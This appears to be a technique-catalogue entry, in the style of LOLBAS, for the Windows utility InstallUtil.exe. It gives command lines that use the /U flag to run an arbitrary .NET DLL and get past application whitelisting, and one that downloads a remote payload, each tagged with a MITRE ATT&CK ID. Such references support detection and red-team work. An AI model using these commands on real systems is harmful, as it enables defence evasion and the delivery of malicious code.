Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

AWL Bypass

Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Execute the target .NET DLL or EXE. — MITRE: T1218.004 — Privileges: User

Download

Downloads payload from remote server

InstallUtil.exe {REMOTEURL}

It will download a remote payload and place it in INetCache. — MITRE: T1105 — Privileges: User

Execute

Use to execute code and bypass application whitelisting

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Execute the target .NET DLL or EXE. — MITRE: T1218.004 — Privileges: User